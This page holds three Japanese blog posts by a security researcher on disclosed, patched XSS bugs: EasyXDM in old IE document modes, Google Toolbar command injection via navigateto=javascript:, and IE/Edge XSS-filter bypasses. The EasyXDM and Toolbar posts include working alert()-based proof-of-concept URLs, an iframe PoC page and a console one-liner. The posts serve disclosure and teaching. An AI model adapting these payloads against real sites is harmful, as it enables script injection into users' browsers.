2016/04/08

EasyXDM 2.4.20で修正されたXSS

Update: English version is here: http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html
------------------

EasyXDM というクロスドメインでのあれこれを便利にしてくれるライブラリの 2.4.20 で、自分の報告したXSS脆弱性が修正されています。使っている人はアップデートしましょう。

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub
https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20

以前にも脆弱性が指摘されていますが、それとは別の問題です。

http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html
http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html


これ以下は技術的な説明です。
このバグはDOM based XSSなのですが、再現方法が少し変わっているので紹介します。

このXSSはIEでのみ動作します。おまけにドキュメントモードがIE7モード以下でないと起こりません。なぜかというと、XSSのある場所が、バグった挙動があると判断されたブラウザだけが通過する箇所にあり、その条件を満たすのが、IE7モード以下だけだからです。

次のcreateElement()の箇所でXSSが起きます。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509
    if (HAS_NAME_PROPERTY_BUG) {
        frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
    }

このif文の条件のHAS_NAME_PROPERTY_BUGという値が、バグった挙動があると判定されたブラウザだけtrueになります。設定しているのは、以下の部分です。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
    // #ifdef debug
    _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);
    // #endif
}
formと名前付きのinputを作って、名前からinput要素にアクセスできるかテストしています。どうやら、IE7モード以下では、動的に作った名前付きの要素に、名前経由でアクセスできないバグがあるらしく、その回避策として、このようなコードで一度検証を行っているようです。

このテスト部分だけを実行できるページを以下に用意しました。IEでアクセスすることで、HAS_NAME_PROPERTY_BUGの値がtrueになることを確認できます。

http://vulnerabledoma.in/easyxdm/name_property_test.html

それでは、実際に脆弱なEasyXDMで、XSSが起きることを確認してみます。以下にIEでアクセスして、IEのF12開発者ツール( F12 → エミュレーション )から、ドキュメントモードをIE7以下にしてみてください。アラートが出るはずです。

http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

これで、IE7モード以下でXSSが可能なことがわかりました。しかし、IE7モード以下でEasyXDMを利用しないとXSSが起こらないのでは、攻撃できる条件がかなり限られてしまいます。

そこで、最近公開した資料にも書いた、「ドキュメントモードの継承」というテクニックを使います。

ドキュメントモードを変更した親のフレームに埋め込むと、フレーム内のドキュメントモードも変更されるというテクニックでした。これを使ってみましょう。

http://l0.cm/easyxdm/poc.html
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
どうでしょうか?まだアラートは動かないはずです。親はIE=5指定により、IE5モードで動いているはずなのに、フレームの中のドキュメントモードは8までしか下がっていません。これは、フレーム内のページの先頭に<!DOCTYPE html>があるからです。この宣言がある場合、IE11では、フレームに埋め込んでも降格されるのは8までが限度になっています。XSSを成功させるにはなんとか7まで下げなければいけません。

ご安心ください。実は、さらに強力な継承方法があります。以下にIE11でアクセスしてみてください。

http://l0.cm/easyxdm/poc.eml

どうですか?今回はアラートが出たと思います。1つ前のページとの違いは、このページは、text/html ではなく、Content-Type: message/rfc822形式のページだということです。スライド中でも触れたのですが、IE11/Edgeは、今もmessage/rfc822形式のドキュメントをブラウザ内で開くことができます。(mhtml:という文字列はなくても開けます。)

message/rfc822形式のページは、デフォルトでIE5モードで表示されるようです。そしてどうやら、そこに埋め込んだフレームに対するドキュメントモードの継承の力が通常のtext/htmlよりも強いようなのです!例え、先頭に<!DOCTYPE html>があろうとも7までは降格させることができます。実際に、フレーム内のドキュメントモードをみると7まで下がっており、このおかげで、脆弱な箇所への到達に成功したことがわかります。

この手法を使えば、EasyXDMのXSSのように、IE7のドキュメントモードでしか再現しない問題を、脆弱性のあるページのドキュメントモードにかかわらず、また、ユーザによるドキュメントモードの切り替え操作なしに、攻撃可能な問題に発展させることができる、という訳です。

ちなみに、もう1つ強力な継承が起きる場所があります。それは、CVリスト(互換表示リスト)でIE7のドキュメントモードで表示指定しているサイトのフレームです。
CVリストはWindowsの以下の場所に保存されています。ここにリストされているドメインは、リストで指定したドキュメントモードで表示されるようになります。

%LOCALAPPDATA%\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

ここにリストしてもらうには、面倒な手続きが必要ですが、XSSのためにそんなことをする必要はありません。なぜなら、既にここにリストされているドメインのXSSを探してきてそのページ内にフレームを作ればいいだけだからです。めちゃくちゃなことを言っているように聞こえるかもしれませんが、その方がMicrosoftを騙して手続きするよりもはるかに簡単で現実的です。

実験してみましょう。CVリストに載っている以下のMicrosoftのドメインのページを開いて(※Under Construction と表示されますがそれでOKです )、

http://epim.partners.extranet.microsoft.com/
<domain docMode="EmulateIE7" versionVector="7" uaString="7">epim.partners.extranet.microsoft.com</domain>
F12開発者ツールのコンソール上で、以下を実行してみてください。フレーム内のページのドキュメントモードは7まで降格され、message/rfc822の時と同様にEasyXDMの脆弱箇所に到達し、アラートが出ると思います。
document.write('<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>')
message/rfc822の強い継承に気付くまではこの方法で攻撃可能なことを証明していました。今となってはmessage/rfc822の方が簡単なので、あえてこっちを使う理由はありません。

以上、EasyXDMのXSSの技術的な部分を説明しました。

今月は余力があれば(2月、3月書いてない分)もう1つか2つ記事を書く予定です。

2016/01/29

Google Toolbarのコマンドを利用したXSS

2015年6月頃にみつけた、toolbar.google.com の、少し変わったXSSを2つ紹介します。

The English version is here: http://mksben.l0.cm/2016/01/google-toolbar-xss.html

何が変わっているか


このXSSは、Google ToolbarがインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。

どのようにコマンドを実行しているか


toolbar.google.com 上の次のページをみると、こんなコードを発見できます。

http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
(省略)....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
このページでは、ツールバーの設定をリセットできるようになっています。

ページ内のボタンを押すと、fixmenu()command('&fixmenu=1')と関数が呼ばれます。command()関数では、window.location="http://toolbar.google.com/command?key="...に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は fixmenu=1に対応しています。

'...?key=' + document.googleTokenの部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。document.googleTokenには、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。

ざっと、こんな作りになっています。
こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。

コマンドの調査


まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。
見ていく中で、navigatetoというコマンドがあることがわかりました。

このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。
この部分をjavascript:のURLに変えて試してみます。
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"
すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。
なぜなら、document.googleTokenの値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、document.googleTokenの値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。

XSS脆弱性の発見 その1


なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。

http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。OnYes()からのcommand("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");で、コマンドの実行をしています。ここでそうしているように、& で繋げると複数のコマンドを一度に指定できるみたいです。
コマンドの詳細はさておき、注目すべきはここに含まれているpathという変数です。pathは直前で定義されています。
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
location.hrefからコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 document.location.href.lastIndexOf("/") + 1で、URLの最後に出てくるスラッシュまでをsubstring()で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。

https://toolbar.google.com/dc/dcuninstall.html

でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

この切り取った文字列はnavigateto=に連結されるので、ナビゲーションに使いたいようです。
ここではlocation.hrefの先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。

ところが、次のようなURLを与えたらどうでしょう? &がポイントです。

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。
このURLがpathという変数に入り、コマンドとして実行されるときの値をみてみましょう。

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html


URL に & を挿入したことで、ページ側が指定したnavigateto=に渡るURLは挿入した&の手前で区切られることになります。その後ろに、自身でもう1つnavigateto=を追加します。すると、navigatetoのコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生するnavigatetoによるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!

このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、document.googleTokenを知らずとも、XSSに繋げることに成功しました。

XSS脆弱性の発見 その2


さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
順に見ていきます。
ページを開くと、body onloadで、Load()関数が実行されます。
<body onload="Load()"> 
Load()関数では、document.URLから自身のURLをurl変数に入れ、
var url = window.document.URL.toString();
クエリを & で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。
ここでは、太字部分にあるようにcustom_button_uriというパラメータを探しています。パラメータがあれば、その値をdocument.custom_button_uidという変数に代入するようになっています。
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

ここで設定された、document.custom_button_uidはこのすぐ後で、コマンド実行関数へと引き渡されます。
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
少なくとも、ユーザー入力値がcustom_button_uriというクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&で追加のコマンドを紛れ込ますような手は使えません。

XSSは無理かと思われましたが、もう一度、document.custom_button_uidを設定しているところをよくみてみると、
document.custom_button_uid = unescape(param_pieces[1]);
なんと都合がいいことに、custom_button_uriの値をunescape関数にかけているではありませんか。ということは、発見されると分解されてしまう & と = を以下のようにエンコードしてcustom_button_uriに渡せば、

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

%26&%3D=にunescapeされ、最終的に実行されるコマンドは次のような、navigateto=を含むものになります。

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

ドーン!



おわりに


この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。

最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: ChromebookNexus 10Nexus 5Moto 360 )

Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。





日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!

今年もXSS送りできるよう頑張ります!

2015/12/17

IE/EdgeのXSSフィルターを利用したXSS

English version: http://mksben.l0.cm/2015/12/xxn.html
------------------------------------------------
2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。

2015 年 12 月のマイクロソフト セキュリティ情報の概要
https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx

修正された問題は、2015年10月に行われたセキュリティカンファレンスのCODE BLUEで詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。



また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。

http://l0.cm/xxn/

詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。

1. style属性の遮断を悪用するパターン

次のような、style属性の追加によるXSSの遮断を、


</style>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。


Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的にmode=blockの動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、X-XSS-Protection:1の動作とはなんだったのか…、という気がします。
ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまずmode=blockにすることで回避したらどうかとMSに提案していました。)

2. 文字列リテラルの遮断を悪用するパターン その1( <script src=***></script> を利用)

次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、";document.body.innerHTML="攻撃文字列"//のような形で攻撃します)の遮断を利用し、


スクリプトタグのsrcの値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。

どう修正されたかは、次の手法でまとめて紹介します。

3. 文字列リテラルの遮断を悪用するパターン その2( <link rel=stylesheet href=***> を利用)

同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。
今度は、<link>タグのhrefの相対パスの.を利用し、攻撃に繋げるという方法です。


2と3の問題のMicrosoftの修正にはびっくりしました。
プロパティアクセス後の代入の遮断時だけ、.を、これまでの#の代わりに、^(0x5E)に置換するよう変更したのです!なんじゃそりゃ~(^_^)!
確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。

JavaScriptにおいて、^は演算子です。document.locationdocument^locationに変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる.をうまいこと^に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、.が JavaScriptの正規表現に含まれていたら、そしてそれが^に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。

このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。

報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。

もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。

開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、X-XSS-Protection:1;mode=blockX-XSS-Protection:0のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。